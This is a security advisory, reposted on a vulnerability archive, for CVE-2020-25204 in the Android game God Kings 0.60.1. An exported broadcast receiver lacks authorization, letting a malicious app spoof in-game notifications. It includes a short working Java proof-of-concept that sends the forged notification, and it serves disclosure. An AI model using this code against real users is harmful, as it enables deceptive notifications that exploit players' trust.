exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

God Kings 0.60.1 Notification Spoofing

God Kings 0.60.1 Notification Spoofing
Posted Oct 28, 2020
Authored by Julien Ahrens | Site rcesecurity.com

God Kings version 0.60.1 suffers from an improper authorization issue allowing for in-game notification spoofing.

tags | exploit, spoof
advisories | CVE-2020-25204
SHA-256 | 0739b7472a6c8181be50dac6e880dba434850aeb93bca40ab3c19da4c9c1fd8c

God Kings 0.60.1 Notification Spoofing

Change Mirror Download
RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product: God Kings
Vendor URL: https://play.google.com/store/apps/details?id=com.innogames.gkandroid
Type: Improper Verification of Intent by Broadcast Receiver [CWE-925]
Date found: 2020-09-07
Date published: 2020-10-25
CVSSv3 Score: 5.5 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)
CVE: CVE-2020-25204


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
God Kings 0.60.1 (latest)


4. INTRODUCTION
===============
IT’S TIME TO BECOME THE WORLD’S GREATEST KING!! Compete on the ultimate battleground
against epic monsters and tyrannical enemy kings in the vast 3D world of God Kings!
Raise an eternal empire and build an army, the likes of which have never been seen!
Your strategy, your victory! Summon legendary Guardians and unleash devastating
damage upon all those who stand opposed! Join forces with other strong kingdoms and
grow your influence on the battlefield together!

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The "God Kings" app for Android exposes a broadcast receiver to other apps called
"com.innogames.core.frontend.notifications.receivers.LocalNotificationBroadcastReceiver".
The purpose of this broadcast receiver is to receive and display in-game push
notifications to the player.

However, the app does not enforce any authorization schema on the broadcast receiver,
thus allowing an attacker (malicious app) to send fully customizable in-game push
notifications to the player. An exemplary exploit could look like the following:

Intent i = new Intent();
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
i.setComponent(new ComponentName("com.innogames.gkandroid", "com.innogames.core.frontend.notifications.receivers.LocalNotificationBroadcastReceiver"));
i.setAction("android.intent.action.MAIN");

Bundle bundle = new Bundle();
bundle.putString("title", "title");
bundle.putString("body", "body");
bundle.putString("tickerText", "tickerText");
bundle.putString("smallIcon" ,"smallIcon");
bundle.putString("largeIcon", "largeIcon");
bundle.putBoolean("displayedInForeground", true);

UserInfo userinfo = new UserInfo("1", "2");
bundle.putParcelable("user_info", userinfo);

i.putExtra("NotificationExtra", bundle);
sendBroadcast(i);


6. RISK
=======
A malicious app on the same device is able to exploit this vulnerability to show
arbitrary in-game push notifications to the player. The specific problem here is the
assumed trust boundary between the user having the God Kings app installed and
what the app is actually doing/displaying to the user. So if the player sees the in-game
notification, it can be assumed that the shown content is also trusted by the user.


7. SOLUTION
===========
-


8. REPORT TIMELINE
==================
2020-09-07: Discovery of the vulnerability
2020-09-08: CVE requested from MITRE
2020-09-08: Contacted vendor via their security@
2020-09-08: Response from vendor
2020-09-09: MITRE assigns CVE-2020-25204
2020-09-09: Sent a full apk PoC to exploit this issue
2020-09-17: Vendor states that they're working on a fix, but the initial disclosure
deadline cannot be met
2020-09-17: Disclosure deadline extended to 24th October 2020
2020-09-25: Vendor states that they've decided not to fix this issue in due time
2020-10-25: Public disclosure


9. REFERENCES
=============
-


Login or Register to add favorites

File Archive:

May 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    16 Files
  • 3
    May 3rd
    38 Files
  • 4
    May 4th
    15 Files
  • 5
    May 5th
    35 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    8 Files
  • 9
    May 9th
    65 Files
  • 10
    May 10th
    19 Files
  • 11
    May 11th
    27 Files
  • 12
    May 12th
    8 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    1 Files
  • 15
    May 15th
    19 Files
  • 16
    May 16th
    66 Files
  • 17
    May 17th
    28 Files
  • 18
    May 18th
    32 Files
  • 19
    May 19th
    13 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    23 Files
  • 23
    May 23rd
    15 Files
  • 24
    May 24th
    49 Files
  • 25
    May 25th
    20 Files
  • 26
    May 26th
    13 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close